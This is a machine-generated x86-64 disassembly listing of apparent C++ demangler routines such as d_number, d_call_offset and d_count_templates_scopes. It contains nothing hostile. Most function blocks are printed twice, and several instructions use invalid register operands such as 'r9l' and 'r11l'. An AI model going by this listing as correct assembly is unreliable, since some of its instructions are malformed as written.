14000cf72lea edx, [rax-48]
14000cf75cmp dl, 9
14000cf78ja 0x14000d02f
14000cf7exor r11l, r11l
14000cf81
14000cf81loc_14000cf81:
14000cf81xor ecx, ecx
14000cf83mov r9l, 0xffffffffcccccccd
14000cf89jmp 0x14000cfde
14000cf8b
14000cf8b 66 66 2e 0f 1f ff...
14000cf90 84 00 00 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 ......ff........
14000cfa0 00 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f .ff.........ff..
14000cfb0 1f 84 00 00 00 00 00 66 0f 1f 84 00 00 00 00 00 .......f........
14000cfc0
14000cfc0loc_14000cfc0:
14000cfc0lea edx, [rcx+4*rcx]
14000cfc3lea ecx, [rax+2*rdx]
14000cfc6mov rax, [r8+24]
14000cfcalea rdx, [rax+1]
14000cfcemov [r8+24], rdx
14000cfd2movzx eax, [rax+1]
14000cfd6lea edx, [rax-48]
14000cfd9cmp dl, 9
14000cfdcja 0x14000d000
14000cfde
14000cfdeloc_14000cfde:
14000cfdesub eax, 48
14000cfe1mov edx, 0x7fffffff
14000cfe6movsx eax, al
14000cfe9sub edx, eax
14000cfebimul rdx, r9
14000cfefshr rdx, 35
14000cff3cmp edx, ecx
14000cff5jge 0x14000cfc0
14000cff7mov ecx, -1
14000cffc
14000cffcloc_14000cffc:
14000cffcmov eax, ecx
14000cfferet
14000cfff
14000cfff 90 .
14000d000
14000d000loc_14000d000:
14000d000mov eax, ecx
14000d002neg eax
14000d004test r11l, r11l
14000d007cmovne ecx, eax
14000d00amov eax, ecx
14000d00cret
14000d00d
14000d00d 0f 1f 00 ...
14000d010
14000d010loc_14000d010:
14000d010lea rax, [rdx+1]
14000d014mov [rcx+24], rax
14000d018movzx eax, [rdx+1]
14000d01clea edx, [rax-48]
14000d01fcmp dl, 9
14000d022ja 0x14000d02f
14000d024mov r11l, 1
14000d02ajmp 0x14000cf81
14000d02f
14000d02floc_14000d02f:
14000d02fxor ecx, ecx
14000d031jmp 0x14000cffc
14000cf60
14000cf60d_number:
14000cf60mov rdx, [rcx+24]
14000cf64movzx eax, [rdx]
14000cf67mov r8, rcx
14000cf6acmp al, 110
14000cf6cje 0x14000d010
14000cf72lea edx, [rax-48]
14000cf75cmp dl, 9
14000cf78ja 0x14000d02f
14000cf7exor r11l, r11l
14000cf81
14000cf81loc_14000cf81:
14000cf81xor ecx, ecx
14000cf83mov r9l, 0xffffffffcccccccd
14000cf89jmp 0x14000cfde
14000cf8b
14000cf8b 66 66 2e 0f 1f ff...
14000cf90 84 00 00 00 00 00 66 66 2e 0f 1f 84 00 00 00 00 ......ff........
14000cfa0 00 66 66 2e 0f 1f 84 00 00 00 00 00 66 66 2e 0f .ff.........ff..
14000cfb0 1f 84 00 00 00 00 00 66 0f 1f 84 00 00 00 00 00 .......f........
14000cfc0
14000cfc0loc_14000cfc0:
14000cfc0lea edx, [rcx+4*rcx]
14000cfc3lea ecx, [rax+2*rdx]
14000cfc6mov rax, [r8+24]
14000cfcalea rdx, [rax+1]
14000cfcemov [r8+24], rdx
14000cfd2movzx eax, [rax+1]
14000cfd6lea edx, [rax-48]
14000cfd9cmp dl, 9
14000cfdcja 0x14000d000
14000cfde
14000cfdeloc_14000cfde:
14000cfdesub eax, 48
14000cfe1mov edx, 0x7fffffff
14000cfe6movsx eax, al
14000cfe9sub edx, eax
14000cfebimul rdx, r9
14000cfefshr rdx, 35
14000cff3cmp edx, ecx
14000cff5jge 0x14000cfc0
14000cff7mov ecx, -1
14000cffc
14000cffcloc_14000cffc:
14000cffcmov eax, ecx
14000cfferet
14000cfff
14000cfff 90 .
14000d000
14000d000loc_14000d000:
14000d000mov eax, ecx
14000d002neg eax
14000d004test r11l, r11l
14000d007cmovne ecx, eax
14000d00amov eax, ecx
14000d00cret
14000d00d
14000d00d 0f 1f 00 ...
14000d010
14000d010loc_14000d010:
14000d010lea rax, [rdx+1]
14000d014mov [rcx+24], rax
14000d018movzx eax, [rdx+1]
14000d01clea edx, [rax-48]
14000d01fcmp dl, 9
14000d022ja 0x14000d02f
14000d024mov r11l, 1
14000d02ajmp 0x14000cf81
14000d02f
14000d02floc_14000d02f:
14000d02fxor ecx, ecx
14000d031jmp 0x14000cffc
14000cf60
14000d033
14000d033 // align 0x10
14000d033 // align 0x10
14000d040
14000d040d_call_offset:
14000d040sub rsp, 40
14000d044mov r10, rcx
14000d047test edx, edx
14000d049je 0x14000d070
14000d04bcmp edx, 104
14000d04eje 0x14000d098
14000d050
14000d050loc_14000d050:
14000d050mov rcx, r10
14000d053call d_number
14000d058mov rax, [r10+24]
14000d05ccmp [rax], 95
14000d05fje 0x14000d090
14000d061
14000d061loc_14000d061:
14000d061xor eax, eax
14000d063add rsp, 40
14000d067ret
14000d068
14000d068 0f 1f 84 00 00 00 00 00 ........
14000d070
14000d070loc_14000d070:
14000d070mov rax, [rcx+24]
14000d074cmp [rax], 0
14000d077je 0x14000d061
14000d079lea rdx, [rax+1]
14000d07dmov [rcx+24], rdx
14000d081movsx eax, [rax]
14000d084cmp eax, 104
14000d087je 0x14000d098
14000d089cmp eax, 118
14000d08cjne 0x14000d061
14000d08ejmp 0x14000d050
14000d090
14000d090loc_14000d090:
14000d090add rax, 1
14000d094mov [r10+24], rax
14000d098
14000d098loc_14000d098:
14000d098mov rcx, r10
14000d09bcall d_number
14000d0a0mov rax, [r10+24]
14000d0a4cmp [rax], 95
14000d0a7jne 0x14000d061
14000d0a9add rax, 1
14000d0admov [r10+24], rax
14000d0b1mov eax, 1
14000d0b6add rsp, 40
14000d0baret
14000d040
14000d040d_call_offset:
14000d040sub rsp, 40
14000d044mov r10, rcx
14000d047test edx, edx
14000d049je 0x14000d070
14000d04bcmp edx, 104
14000d04eje 0x14000d098
14000d050
14000d050loc_14000d050:
14000d050mov rcx, r10
14000d053call d_number
14000d058mov rax, [r10+24]
14000d05ccmp [rax], 95
14000d05fje 0x14000d090
14000d061
14000d061loc_14000d061:
14000d061xor eax, eax
14000d063add rsp, 40
14000d067ret
14000d068
14000d068 0f 1f 84 00 00 00 00 00 ........
14000d070
14000d070loc_14000d070:
14000d070mov rax, [rcx+24]
14000d074cmp [rax], 0
14000d077je 0x14000d061
14000d079lea rdx, [rax+1]
14000d07dmov [rcx+24], rdx
14000d081movsx eax, [rax]
14000d084cmp eax, 104
14000d087je 0x14000d098
14000d089cmp eax, 118
14000d08cjne 0x14000d061
14000d08ejmp 0x14000d050
14000d090
14000d090loc_14000d090:
14000d090add rax, 1
14000d094mov [r10+24], rax
14000d098
14000d098loc_14000d098:
14000d098mov rcx, r10
14000d09bcall d_number
14000d0a0mov rax, [r10+24]
14000d0a4cmp [rax], 95
14000d0a7jne 0x14000d061
14000d0a9add rax, 1
14000d0admov [r10+24], rax
14000d0b1mov eax, 1
14000d0b6add rsp, 40
14000d0baret
14000d040
14000d0bb
14000d0bb // align 0x10
14000d0bb // align 0x10
14000d0c0
14000d0c0d_ref_qualifier:
14000d0c0mov rax, [rcx+24]
14000d0c4movzx r9l, [rax]
14000d0c8cmp r9b, 82
14000d0ccje 0x14000d0e0
14000d0cecmp r9b, 79
14000d0d2je 0x14000d0e0
14000d0d4mov rax, rdx
14000d0d7ret
14000d0d8
14000d0d8 0f 1f 84 00 00 00 00 00 ........
14000d0e0
14000d0e0loc_14000d0e0:
14000d0e0mov r10l, [rcx+72]
14000d0e4mov r11l, 32
14000d0ealea r8l, [r10+3]
14000d0eeadd r10l, 2
14000d0f2cmp r9b, 82
14000d0f6mov r9l, 31
14000d0fccmove r8l, r10l
14000d100cmove r11l, r9l
14000d104add rax, 1
14000d108xor r9l, r9l
14000d10bmov [rcx+24], rax
14000d10fmov [rcx+72], r8l
14000d113mov r8, rdx
14000d116mov edx, r11l
14000d119jmp 0x14000ce00
14000d0c0
14000d0c0d_ref_qualifier:
14000d0c0mov rax, [rcx+24]
14000d0c4movzx r9l, [rax]
14000d0c8cmp r9b, 82
14000d0ccje 0x14000d0e0
14000d0cecmp r9b, 79
14000d0d2je 0x14000d0e0
14000d0d4mov rax, rdx
14000d0d7ret
14000d0d8
14000d0d8 0f 1f 84 00 00 00 00 00 ........
14000d0e0
14000d0e0loc_14000d0e0:
14000d0e0mov r10l, [rcx+72]
14000d0e4mov r11l, 32
14000d0ealea r8l, [r10+3]
14000d0eeadd r10l, 2
14000d0f2cmp r9b, 82
14000d0f6mov r9l, 31
14000d0fccmove r8l, r10l
14000d100cmove r11l, r9l
14000d104add rax, 1
14000d108xor r9l, r9l
14000d10bmov [rcx+24], rax
14000d10fmov [rcx+72], r8l
14000d113mov r8, rdx
14000d116mov edx, r11l
14000d119jmp 0x14000ce00
14000d0c0
14000d11e
14000d11e // align 0x10
14000d11e // align 0x10
14000d120
14000d120d_discriminator:
14000d120sub rsp, 40
14000d124mov rax, [rcx+24]
14000d128cmp [rax], 95
14000d12bjne 0x14000d144
14000d12dlea rdx, [rax+1]
14000d131mov [rcx+24], rdx
14000d135cmp [rax+1], 95
14000d139je 0x14000d150
14000d13bcall d_number
14000d140test eax, eax
14000d142js 0x14000d188
14000d144
14000d144loc_14000d144:
14000d144mov eax, 1
14000d149add rsp, 40
14000d14dret
14000d14e
14000d14e 66 90 f.
14000d150
14000d150loc_14000d150:
14000d150add rax, 2
14000d154mov [rsp+48], rcx
14000d159mov [rcx+24], rax
14000d15dcall d_number
14000d162test eax, eax
14000d164js 0x14000d188
14000d166cmp eax, 9
14000d169jle 0x14000d144
14000d16bmov rcx, [rsp+48]
14000d170mov rax, [rcx+24]
14000d174cmp [rax], 95
14000d177jne 0x14000d188
14000d179add rax, 1
14000d17dmov [rcx+24], rax
14000d181jmp 0x14000d144
14000d183
14000d183 0f 1f 44 00 00 ..D..
14000d188
14000d188loc_14000d188:
14000d188xor eax, eax
14000d18aadd rsp, 40
14000d18eret
14000d120
14000d120d_discriminator:
14000d120sub rsp, 40
14000d124mov rax, [rcx+24]
14000d128cmp [rax], 95
14000d12bjne 0x14000d144
14000d12dlea rdx, [rax+1]
14000d131mov [rcx+24], rdx
14000d135cmp [rax+1], 95
14000d139je 0x14000d150
14000d13bcall d_number
14000d140test eax, eax
14000d142js 0x14000d188
14000d144
14000d144loc_14000d144:
14000d144mov eax, 1
14000d149add rsp, 40
14000d14dret
14000d14e
14000d14e 66 90 f.
14000d150
14000d150loc_14000d150:
14000d150add rax, 2
14000d154mov [rsp+48], rcx
14000d159mov [rcx+24], rax
14000d15dcall d_number
14000d162test eax, eax
14000d164js 0x14000d188
14000d166cmp eax, 9
14000d169jle 0x14000d144
14000d16bmov rcx, [rsp+48]
14000d170mov rax, [rcx+24]
14000d174cmp [rax], 95
14000d177jne 0x14000d188
14000d179add rax, 1
14000d17dmov [rcx+24], rax
14000d181jmp 0x14000d144
14000d183
14000d183 0f 1f 44 00 00 ..D..
14000d188
14000d188loc_14000d188:
14000d188xor eax, eax
14000d18aadd rsp, 40
14000d18eret
14000d120
14000d18f
14000d18f // align 0x10
14000d18f // align 0x10
14000d190
14000d190d_count_templates_scopes:
14000d190push rbx
14000d191sub rsp, 32
14000d195mov rbx, rcx
14000d198mov rax, rdx
14000d19btest rdx, rdx
14000d19eje 0x14000d1f7
14000d1a0
14000d1a0loc_14000d1a0:
14000d1a0mov edx, [rax+8]
14000d1a3cmp edx, 1
14000d1a6jg 0x14000d1f7
14000d1a8cmp [rbx+308], 1024
14000d1b2jg 0x14000d1f7
14000d1b4add edx, 1
14000d1b7mov [rax+8], edx
14000d1bamov edx, [rax]
14000d1bccmp edx, 52
14000d1bfja 0x14000d240
14000d1c1cmp edx, 8
14000d1c4ja 0x14000d200
14000d1c6cmp edx, 7
14000d1c9je 0x14000d230
14000d1cbcmp edx, 8
14000d1ceje 0x14000d230
14000d1d0cmp edx, 3
14000d1d3jbe 0x14000d2e0
14000d1d9cmp edx, 4
14000d1dcjne 0x14000d1f7
14000d1deadd [rbx+364], 1
14000d1e5
14000d1e5loc_14000d1e5:
14000d1e5mov edx, [rbx+308]
14000d1ebcmp edx, 2048
14000d1f1jle 0x14000d280
14000d1f7
14000d1f7loc_14000d1f7:
14000d1f7add rsp, 32
14000d1fbpop rbx
14000d1fcret
14000d1fd
14000d1fd 0f 1f 00 ...
14000d200
14000d200loc_14000d200:
14000d200lea ecx, [rdx-9]
14000d203mov r8l, 1
14000d209shl r8, cl
14000d20cmov rcx, r8
14000d20fmov r8, 0x3ef67ff7fff
14000d219test rcx, r8
14000d21cjne 0x14000d1e5
14000d21etest ecx, 0x18000000
14000d224jne 0x14000d2c0
14000d22acmp edx, 52
14000d22djne 0x14000d1f7
14000d22fnop
14000d230
14000d230loc_14000d230:
14000d230mov rax, [rax+24]
14000d234
14000d234loc_14000d234:
14000d234test rax, rax
14000d237jne 0x14000d1a0
14000d23djmp 0x14000d1f7
14000d23f
14000d23f 90 .
14000d240
14000d240loc_14000d240:
14000d240lea ecx, [rdx-53]
14000d243cmp ecx, 41
14000d246ja 0x14000d1f7
14000d248mov edx, 1
14000d24dshl rdx, cl
14000d250mov rcx, 0x2006fc13fff
14000d25atest rdx, rcx
14000d25djne 0x14000d1e5
14000d25fmov rcx, 0x410060000
14000d269test rdx, rcx
14000d26cjne 0x14000d27a
14000d26etest edx, 0x180000
14000d274je 0x14000d1f7
14000d27a
14000d27aloc_14000d27a:
14000d27amov rax, [rax+16]
14000d27ejmp 0x14000d234
14000d280
14000d280loc_14000d280:
14000d280add edx, 1
14000d283mov rcx, rbx
14000d286mov [rsp+56], rax
14000d28bmov [rbx+308], edx
14000d291mov rdx, [rax+16]
14000d295call d_count_templates_scopes
14000d29amov rax, [rsp+56]
14000d29fmov rcx, rbx
14000d2a2mov rdx, [rax+24]
14000d2a6call d_count_templates_scopes
14000d2absub [rbx+308], 1
14000d2b2add rsp, 32
14000d2b6pop rbx
14000d2b7ret
14000d2b8
14000d2b8 0f 1f 84 00 00 00 00 00 ........
14000d2c0
14000d2c0loc_14000d2c0:
14000d2c0mov rdx, [rax+16]
14000d2c4cmp [rdx], 5
14000d2c7jne 0x14000d1e5
14000d2cdadd [rbx+348], 1
14000d2d4jmp 0x14000d1e5
14000d2d9
14000d2d9 0f 1f 80 00 00 00 00 .......
14000d2e0
14000d2e0loc_14000d2e0:
14000d2e0test edx, edx
14000d2e2jne 0x14000d1e5
14000d2e8jmp 0x14000d1f7
14000d190
14000d190d_count_templates_scopes:
14000d190push rbx
14000d191sub rsp, 32
14000d195mov rbx, rcx
14000d198mov rax, rdx
14000d19btest rdx, rdx
14000d19eje 0x14000d1f7
14000d1a0
14000d1a0loc_14000d1a0:
14000d1a0mov edx, [rax+8]
14000d1a3cmp edx, 1
14000d1a6jg 0x14000d1f7
14000d1a8cmp [rbx+308], 1024
14000d1b2jg 0x14000d1f7
14000d1b4add edx, 1
14000d1b7mov [rax+8], edx
14000d1bamov edx, [rax]
14000d1bccmp edx, 52
14000d1bfja 0x14000d240
14000d1c1cmp edx, 8
14000d1c4ja 0x14000d200
14000d1c6cmp edx, 7
14000d1c9je 0x14000d230
14000d1cbcmp edx, 8
14000d1ceje 0x14000d230
14000d1d0cmp edx, 3
14000d1d3jbe 0x14000d2e0
14000d1d9cmp edx, 4
14000d1dcjne 0x14000d1f7
14000d1deadd [rbx+364], 1
14000d1e5
14000d1e5loc_14000d1e5:
14000d1e5mov edx, [rbx+308]
14000d1ebcmp edx, 2048
14000d1f1jle 0x14000d280
14000d1f7
14000d1f7loc_14000d1f7:
14000d1f7add rsp, 32
14000d1fbpop rbx
14000d1fcret
14000d1fd
14000d1fd 0f 1f 00 ...
14000d200
14000d200loc_14000d200:
14000d200lea ecx, [rdx-9]
14000d203mov r8l, 1
14000d209shl r8, cl
14000d20cmov rcx, r8
14000d20fmov r8, 0x3ef67ff7fff
14000d219test rcx, r8
14000d21cjne 0x14000d1e5
14000d21etest ecx, 0x18000000
14000d224jne 0x14000d2c0
14000d22acmp edx, 52
14000d22djne 0x14000d1f7
14000d22fnop
14000d230
14000d230loc_14000d230:
14000d230mov rax, [rax+24]
14000d234
14000d234loc_14000d234:
14000d234test rax, rax
14000d237jne 0x14000d1a0
14000d23djmp 0x14000d1f7
14000d23f
14000d23f 90 .
14000d240
14000d240loc_14000d240:
14000d240lea ecx, [rdx-53]
14000d243cmp ecx, 41
14000d246ja 0x14000d1f7
14000d248mov edx, 1
14000d24dshl rdx, cl
14000d250mov rcx, 0x2006fc13fff
14000d25atest rdx, rcx
14000d25djne 0x14000d1e5
14000d25fmov rcx, 0x410060000
14000d269test rdx, rcx
14000d26cjne 0x14000d27a
14000d26etest edx, 0x180000
14000d274je 0x14000d1f7
14000d27a
14000d27aloc_14000d27a:
14000d27amov rax, [rax+16]
14000d27ejmp 0x14000d234
14000d280
14000d280loc_14000d280:
14000d280add edx, 1
14000d283mov rcx, rbx
14000d286mov [rsp+56], rax
14000d28bmov [rbx+308], edx
14000d291mov rdx, [rax+16]
14000d295call d_count_templates_scopes
14000d29amov rax, [rsp+56]
14000d29fmov rcx, rbx
14000d2a2mov rdx, [rax+24]
14000d2a6call d_count_templates_scopes
14000d2absub [rbx+308], 1
14000d2b2add rsp, 32
14000d2b6pop rbx
14000d2b7ret
14000d2b8
14000d2b8 0f 1f 84 00 00 00 00 00 ........
14000d2c0
14000d2c0loc_14000d2c0:
14000d2c0mov rdx, [rax+16]
14000d2c4cmp [rdx], 5
14000d2c7jne 0x14000d1e5
14000d2cdadd [rbx+348], 1
14000d2d4jmp 0x14000d1e5
14000d2d9
14000d2d9 0f 1f 80 00 00 00 00 .......
14000d2e0
14000d2e0loc_14000d2e0:
14000d2e0test edx, edx
14000d2e2jne 0x14000d1e5
14000d2e8jmp 0x14000d1f7
14000d190
14000d2ed
14000d2ed // align 0x10
14000d2ed // align 0x10
14000d2f0
14000d2f0d_pack_length:
14000d2f0xor eax, eax
14000d2f2test rcx, rcx
14000d2f5jne 0x14000d313
14000d2f7jmp 0x14000d318
14000d2f9
14000d2f9 0f 1f 80 00 00 00 00 .......
14000d300
14000d300loc_14000d300:
14000d300cmp [rcx+16], 0
14000d305je 0x14000d318
14000d307mov rcx, [rcx+24]
14000d30badd eax, 1
14000d30etest rcx, rcx
14000d311je 0x14000d318
14000d313
14000d313loc_14000d313:
14000d313cmp [rcx], 48
14000d316je 0x14000d300
14000d318
14000d318loc_14000d318:
14000d318ret
14000d2f0
14000d2f0d_pack_length:
14000d2f0xor eax, eax
14000d2f2test rcx, rcx
14000d2f5jne 0x14000d313
14000d2f7jmp 0x14000d318
14000d2f9
14000d2f9 0f 1f 80 00 00 00 00 .......
14000d300
14000d300loc_14000d300:
14000d300cmp [rcx+16], 0
14000d305je 0x14000d318
14000d307mov rcx, [rcx+24]
14000d30badd eax, 1
14000d30etest rcx, rcx
14000d311je 0x14000d318
14000d313
14000d313loc_14000d313:
14000d313cmp [rcx], 48
14000d316je 0x14000d300
14000d318
14000d318loc_14000d318:
14000d318ret
14000d2f0
14000d319
14000d319 // align 0x10
14000d319 // align 0x10
14000d320
14000d320d_index_template_argument.part.0:
14000d320test rcx, rcx
14000d323jne 0x14000d340
14000d325jmp 0x14000d345
14000d327
14000d327 66 0f 1f 84 00 00 00 00 00 f........
14000d330
14000d330loc_14000d330:
14000d330test edx, edx
14000d332je 0x14000d350
14000d334mov rcx, [rcx+24]
14000d338sub edx, 1
14000d33btest rcx, rcx
14000d33eje 0x14000d345
14000d340
14000d340loc_14000d340:
14000d340cmp [rcx], 48
14000d343je 0x14000d330
14000d345
14000d345loc_14000d345:
14000d345xor eax, eax
14000d347ret
14000d348
14000d348 0f 1f 84 00 00 00 00 00 ........
14000d350
14000d350loc_14000d350:
14000d350mov rax, [rcx+16]
14000d354ret
14000d320
14000d320d_index_template_argument.part.0:
14000d320test rcx, rcx
14000d323jne 0x14000d340
14000d325jmp 0x14000d345
14000d327
14000d327 66 0f 1f 84 00 00 00 00 00 f........
14000d330
14000d330loc_14000d330:
14000d330test edx, edx
14000d332je 0x14000d350
14000d334mov rcx, [rcx+24]
14000d338sub edx, 1
14000d33btest rcx, rcx
14000d33eje 0x14000d345
14000d340
14000d340loc_14000d340:
14000d340cmp [rcx], 48
14000d343je 0x14000d330
14000d345
14000d345loc_14000d345:
14000d345xor eax, eax
14000d347ret
14000d348
14000d348 0f 1f 84 00 00 00 00 00 ........
14000d350
14000d350loc_14000d350:
14000d350mov rax, [rcx+16]
14000d354ret
14000d320
14000d355
14000d355 // align 0x10
14000d355 // align 0x10
14000d360
14000d360d_growable_string_callback_adapter:
14000d360push rsi
14000d361push rbx
14000d362sub rsp, 56
14000d366mov rax, [r8+8]
14000d36amov rsi, rdx
14000d36dlea rax, [rdx+rax+1]
14000d372mov rdx, [r8+16]
14000d376mov r9, rcx
14000d379mov rbx, r8
14000d37ccmp rdx, rax
14000d37fjb 0x14000d3b8
14000d381
14000d381loc_14000d381:
14000d381mov eax, [rbx+24]
14000d384test eax, eax
14000d386jne 0x14000d3ab
14000d388mov rcx, [rbx+8]
14000d38cmov r8, rsi
14000d38fadd rcx, [rbx]
14000d392mov rdx, r9
14000d395call memcpy
14000d39amov rax, [rbx]
14000d39dadd rax, rsi
14000d3a0add rax, [rbx+8]
14000d3a4mov [rax], 0
14000d3a7add [rbx+8], rsi
14000d3ab
14000d3abloc_14000d3ab:
14000d3abadd rsp, 56
14000d3afpop rbx
14000d3b0pop rsi
14000d3b1ret
14000d3b2
14000d3b2 66 0f 1f 44 00 00 f..D..
14000d3b8
14000d3b8loc_14000d3b8:
14000d3b8mov ecx, [r8+24]
14000d3bctest ecx, ecx
14000d3bejne 0x14000d3ab
14000d3c0test rdx, rdx
14000d3c3je 0x14000d408
14000d3c5nop [rax]
14000d3c8nop [rax+rax]
14000d3d0
14000d3d0loc_14000d3d0:
14000d3d0add rdx, rdx
14000d3d3cmp rdx, rax
14000d3d6jb 0x14000d3d0
14000d3d8
14000d3d8loc_14000d3d8:
14000d3d8mov rcx, [rbx]
14000d3dbmov [rsp+80], r9
14000d3e0mov [rsp+40], rdx
14000d3e5call realloc
14000d3eamov rdx, [rsp+40]
14000d3efmov r9, [rsp+80]
14000d3f4test rax, rax
14000d3f7je 0x14000d415
14000d3f9mov [rbx], rax
14000d3fcmov [rbx+16], rdx
14000d400jmp 0x14000d381
14000d405
14000d405 0f 1f 00 ...
14000d408
14000d408loc_14000d408:
14000d408mov edx, 2
14000d40dcmp rax, 2
14000d411ja 0x14000d3d0
14000d413jmp 0x14000d3d8
14000d415
14000d415loc_14000d415:
14000d415mov rcx, [rbx]
14000d418call free
14000d41dxor edx, edx
14000d41fpxor x0, x0
14000d423mov [rbx+24], 1
14000d42amov [rbx], rdx
14000d42dmovups [rbx+8], x0
14000d431jmp 0x14000d3ab
14000d360
14000d360d_growable_string_callback_adapter:
14000d360push rsi
14000d361push rbx
14000d362sub rsp, 56
14000d366mov rax, [r8+8]
14000d36amov rsi, rdx
14000d36dlea rax, [rdx+rax+1]
14000d372mov rdx, [r8+16]
14000d376mov r9, rcx
14000d379mov rbx, r8
14000d37ccmp rdx, rax
14000d37fjb 0x14000d3b8
14000d381
14000d381loc_14000d381:
14000d381mov eax, [rbx+24]
14000d384test eax, eax
14000d386jne 0x14000d3ab
14000d388mov rcx, [rbx+8]
14000d38cmov r8, rsi
14000d38fadd rcx, [rbx]
14000d392mov rdx, r9
14000d395call memcpy
14000d39amov rax, [rbx]
14000d39dadd rax, rsi
14000d3a0add rax, [rbx+8]
14000d3a4mov [rax], 0
14000d3a7add [rbx+8], rsi
14000d3ab
14000d3abloc_14000d3ab:
14000d3abadd rsp, 56
14000d3afpop rbx
14000d3b0pop rsi
14000d3b1ret
14000d3b2
14000d3b2 66 0f 1f 44 00 00 f..D..
14000d3b8
14000d3b8loc_14000d3b8:
14000d3b8mov ecx, [r8+24]
14000d3bctest ecx, ecx
14000d3bejne 0x14000d3ab
14000d3c0test rdx, rdx
14000d3c3je 0x14000d408
14000d3c5nop [rax]
14000d3c8nop [rax+rax]
14000d3d0
14000d3d0loc_14000d3d0:
14000d3d0add rdx, rdx
14000d3d3cmp rdx, rax
14000d3d6jb 0x14000d3d0
14000d3d8
14000d3d8loc_14000d3d8:
14000d3d8mov rcx, [rbx]
14000d3dbmov [rsp+80], r9
14000d3e0mov [rsp+40], rdx
14000d3e5call realloc
14000d3eamov rdx, [rsp+40]
14000d3efmov r9, [rsp+80]
14000d3f4test rax, rax
14000d3f7je 0x14000d415
14000d3f9mov [rbx], rax
14000d3fcmov [rbx+16], rdx
14000d400jmp 0x14000d381
14000d405
14000d405 0f 1f 00 ...
14000d408
14000d408loc_14000d408:
14000d408mov edx, 2
14000d40dcmp rax, 2
14000d411ja 0x14000d3d0
14000d413jmp 0x14000d3d8
14000d415
14000d415loc_14000d415:
14000d415mov rcx, [rbx]
14000d418call free
14000d41dxor edx, edx
14000d41fpxor x0, x0
14000d423mov [rbx+24], 1
14000d42amov [rbx], rdx
14000d42dmovups [rbx+8], x0
14000d431jmp 0x14000d3ab
14000d360
14000d436
14000d436 // align 0x10
14000d436 // align 0x10
14000d440
14000d440next_is_type_qual.isra.0:
14000d440movzx edx, [rcx]
14000d443lea eax, [rdx-75]
14000d446cmp al, 39
14000d448jbe 0x14000d458
14000d44axor eax, eax
14000d44ccmp dl, 68
14000d44fje 0x14000d470
14000d451
14000d451loc_14000d451:
14000d451ret
14000d452
14000d452 66 0f 1f 44 00 00 f..D..
14000d458
14000d458loc_14000d458:
14000d458mov rdx, 0xffffff7ffffff7fe
14000d462bt rdx, rax
14000d466setae al
14000d469movzx eax, al
14000d46cret
14000d46d
14000d46d 0f 1f 00 ...
14000d470
14000d470loc_14000d470:
14000d470movzx edx, [rcx+1]
14000d474xor eax, eax
14000d476sub edx, 79
14000d479cmp dl, 41
14000d47cja 0x14000d451
14000d47emov rax, 0x30100000001
14000d488bt rax, rdx
14000d48csetb al
14000d48fmovzx eax, al
14000d492ret
14000d440
14000d440next_is_type_qual.isra.0:
14000d440movzx edx, [rcx]
14000d443lea eax, [rdx-75]
14000d446cmp al, 39
14000d448jbe 0x14000d458
14000d44axor eax, eax
14000d44ccmp dl, 68
14000d44fje 0x14000d470
14000d451
14000d451loc_14000d451:
14000d451ret
14000d452
14000d452 66 0f 1f 44 00 00 f..D..
14000d458
14000d458loc_14000d458:
14000d458mov rdx, 0xffffff7ffffff7fe
14000d462bt rdx, rax
14000d466setae al
14000d469movzx eax, al
14000d46cret
14000d46d
14000d46d 0f 1f 00 ...
14000d470
14000d470loc_14000d470:
14000d470movzx edx, [rcx+1]
14000d474xor eax, eax
14000d476sub edx, 79
14000d479cmp dl, 41
14000d47cja 0x14000d451
14000d47emov rax, 0x30100000001
14000d488bt rax, rdx
14000d48csetb al
14000d48fmovzx eax, al
14000d492ret
14000d440
14000d493
14000d493 // align 0x10
14000d493 // align 0x10
14000d4a0
14000d4a0d_append_char:
14000d4a0sub rsp, 56
14000d4a4mov rax, [rcx+256]
14000d4abmov r9l, edx
14000d4aecmp rax, 255
14000d4b4je 0x14000d4d8
14000d4b6lea rdx, [rax+1]
14000d4ba
14000d4baloc_14000d4ba:
14000d4bamov [rcx+256], rdx
14000d4c1mov [rcx+rax], r9b
14000d4c5mov [rcx+264], r9b
14000d4ccadd rsp, 56
14000d4d0ret
14000d4d1
14000d4d1 0f 1f 80 00 00 00 00 .......
14000d4d8
14000d4d8loc_14000d4d8:
14000d4d8mov [rsp+44], edx
14000d4dcmov r8, [rcx+280]
14000d4e3mov edx, 255
14000d4e8mov [rcx+255], 0
14000d4efmov [rsp+64], rcx
14000d4f4call [rcx+272]
14000d4famov rcx, [rsp+64]
14000d4ffmov r9l, [rsp+44]
14000d504xor eax, eax
14000d506mov edx, 1
14000d50badd [rcx+320], 1
14000d512jmp 0x14000d4ba
14000d4a0
14000d4a0d_append_char:
14000d4a0sub rsp, 56
14000d4a4mov rax, [rcx+256]
14000d4abmov r9l, edx
14000d4aecmp rax, 255
14000d4b4je 0x14000d4d8
14000d4b6lea rdx, [rax+1]
14000d4ba
14000d4baloc_14000d4ba:
14000d4bamov [rcx+256], rdx
14000d4c1mov [rcx+rax], r9b
14000d4c5mov [rcx+264], r9b
14000d4ccadd rsp, 56
14000d4d0ret
14000d4d1
14000d4d1 0f 1f 80 00 00 00 00 .......
14000d4d8
14000d4d8loc_14000d4d8:
14000d4d8mov [rsp+44], edx
14000d4dcmov r8, [rcx+280]
14000d4e3mov edx, 255
14000d4e8mov [rcx+255], 0
14000d4efmov [rsp+64], rcx
14000d4f4call [rcx+272]
14000d4famov rcx, [rsp+64]
14000d4ffmov r9l, [rsp+44]
14000d504xor eax, eax
14000d506mov edx, 1
14000d50badd [rcx+320], 1
14000d512jmp 0x14000d4ba
14000d4a0
14000d514
14000d514 // align 0x10
14000d514 // align 0x10
14000d520
14000d520d_lookup_template_argument:
14000d520mov rax, [rcx+288]
14000d527test rax, rax
14000d52aje 0x14000d568
14000d52cmov rax, [rax+8]
14000d530mov edx, [rdx+16]
14000d533mov rax, [rax+24]
14000d537test edx, edx
14000d539js 0x14000d55f
14000d53btest rax, rax
14000d53ejne 0x14000d558
14000d540jmp 0x14000d55d
14000d542
14000d542 66 0f 1f 44 00 00 f..D..
14000d548
14000d548loc_14000d548:
14000d548test edx, edx
14000d54aje 0x14000d560
14000d54cmov rax, [rax+24]
14000d550sub edx, 1
14000d553test rax, rax
14000d556je 0x14000d55d
14000d558
14000d558loc_14000d558:
14000d558cmp [rax], 48
14000d55bje 0x14000d548
14000d55d
14000d55dloc_14000d55d:
14000d55dxor eax, eax
14000d55f
14000d55floc_14000d55f:
14000d55fret
14000d560
14000d560loc_14000d560:
14000d560mov rax, [rax+16]
14000d564ret
14000d565
